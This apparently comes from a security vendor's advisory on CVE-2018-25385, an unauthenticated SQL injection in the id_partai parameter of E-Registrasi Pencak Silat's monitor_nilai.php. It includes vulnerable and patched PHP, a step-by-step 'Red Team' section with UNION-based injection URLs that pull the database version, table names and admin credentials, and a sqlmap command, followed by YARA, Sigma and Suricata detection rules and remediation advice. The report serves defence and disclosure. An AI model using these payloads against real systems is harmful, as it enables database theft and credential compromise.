CVE-2018-25385

Executive Summary

CVE-2018-25385 is a critical SQL injection vulnerability in the E-Registrasi Pencak Silat application (version 18.10). The flaw resides in the id_partai parameter of the monitor_nilai.php script. An unauthenticated attacker can send crafted GET requests to inject arbitrary SQL queries, leading to full database compromise. The CVSS score of 8.2 (High) reflects the ease of exploitation (no authentication required, network-based) and the severe impact on confidentiality, integrity, and availability. The vulnerability is publicly known, with proof-of-concept code available, but no official patch has been released. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.2 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Data can be modified or deleted.
• Availability Impact: High (A:H) – Database can be disrupted or destroyed.

Threat Level: Critical. The combination of unauthenticated remote access and full database control makes this a high-priority vulnerability for any organization using E-Registrasi Pencak Silat.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the id_partai parameter of monitor_nilai.php. The application fails to sanitize or parameterize user input before including it in an SQL query. An attacker can inject SQL commands by appending a single quote (') or other SQL metacharacters to the id_partai value.

Example vulnerable request:

GET /monitor_nilai.php?id_partai=1' OR '1'='1

This would cause the SQL query to become:

SELECT * FROM some_table WHERE id_partai = '1' OR '1'='1'

The OR '1'='1' condition always evaluates to true, potentially returning all rows from the table.

Exploitation for data extraction: Attackers can use UNION-based SQL injection to extract data from other tables. For example:

GET /monitor_nilai.php?id_partai=1 UNION SELECT username, password FROM admin_users

This would return the admin credentials in the application's response.

Blind SQL injection: If the application does not display results directly, attackers can use boolean-based or time-based blind injection to infer data character by character.

Vulnerable vs. Patched Code

Vulnerable Code (monitor_nilai.php):

<?php
$id_partai = $_GET['id_partai'];
$query = "SELECT * FROM nilai WHERE id_partai = '$id_partai'";
$result = mysqli_query($conn, $query);
// ... process and display results
?>

Patched Code (using prepared statements):

<?php
$id_partai = $_GET['id_partai'];
$stmt = $conn->prepare("SELECT * FROM nilai WHERE id_partai = ?");
$stmt->bind_param("i", $id_partai);
$stmt->execute();
$result = $stmt->get_result();
// ... process and display results
?>

The patched version uses a prepared statement with a parameterized query, which prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install E-Registrasi Pencak Silat 18.10 on a local server (e.g., XAMPP, LAMP).
2. Ensure the monitor_nilai.php file is accessible.

Exploitation Steps:

1. Basic injection test:

   GET /monitor_nilai.php?id_partai=1'
   

   If an error is returned (e.g., "You have an error in your SQL syntax"), the parameter is vulnerable.

2. Extract database version:

   GET /monitor_nilai.php?id_partai=1 UNION SELECT @@version,2,3
   

3. Extract table names:

   GET /monitor_nilai.php?id_partai=1 UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database()
   

4. Extract admin credentials:

   GET /monitor_nilai.php?id_partai=1 UNION SELECT username, password, 3 FROM admin_users
   

Automated exploitation with sqlmap:

sqlmap -u "http://target.com/monitor_nilai.php?id_partai=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing SQL metacharacters (', ", --, #, /*, UNION, SELECT, OR, AND) in the id_partai parameter.
• Look for abnormal response sizes or error messages containing SQL syntax errors.

Honeypot:

• Deploy a fake monitor_nilai.php that logs all requests and alerts on suspicious patterns.

Blocking:

• Use a Web Application Firewall (WAF) to block requests with SQL injection patterns.
• Implement input validation: only allow numeric values for id_partai.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /monitor_nilai.php with id_partai parameter containing SQL keywords or metacharacters.
• Example malicious request:

  GET /monitor_nilai.php?id_partai=1%27%20UNION%20SELECT%201,2,3--+
  

File IOCs:

• Suspicious entries in web server access logs (e.g., Apache access.log, Nginx access.log).
• Unexpected database dump files or temporary files in the web root.

System IOCs:

• Unusual database queries in MySQL logs (e.g., general_log or slow_query_log).
• New user accounts or modified data in the application's database.

Detection Engineering

YARA Rule

rule CVE_2018_25385_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2018-25385 in E-Registrasi Pencak Silat"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2018-25385"
    strings:
        $s1 = "id_partai=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "'" nocase
        $s6 = "--" nocase
        $s7 = "#" nocase
        $s8 = "/*" nocase
    condition:
        $s1 and (any of ($s2,$s3,$s4,$s5,$s6,$s7,$s8))
}

Sigma Rule

title: CVE-2018-25385 SQL Injection Attempt
id: 8f7b3c2a-1d5e-4f6a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects SQL injection attempts against E-Registrasi Pencak Silat monitor_nilai.php
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'id_partai='
            - 'UNION'
            - 'SELECT'
            - 'OR'
            - "'"
            - '--'
            - '#'
            - '/*'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameter values (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2018-25385 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/monitor_nilai.php"; http_uri; content:"id_partai="; http_uri; pcre:"/(UNION|SELECT|OR|'|--|#|\/\*)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the E-Registrasi Pencak Silat application offline until a patch is applied.
2. Apply input validation: Implement strict input validation on the id_partai parameter to only accept numeric values.
3. Use a WAF: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block SQL injection attempts.

Long-term Fix:

1. Rewrite the code: Replace all dynamic SQL queries with parameterized queries (prepared statements) or stored procedures.
2. Apply principle of least privilege: Ensure the database user used by the application has minimal necessary permissions.
3. Regular security audits: Conduct code reviews and penetration testing to identify similar vulnerabilities.

Workaround (if patching is not possible):

• Disable the monitor_nilai.php endpoint or restrict access to it via .htaccess or firewall rules.
• Implement a reverse proxy that filters malicious requests before they reach the application.

Valters IT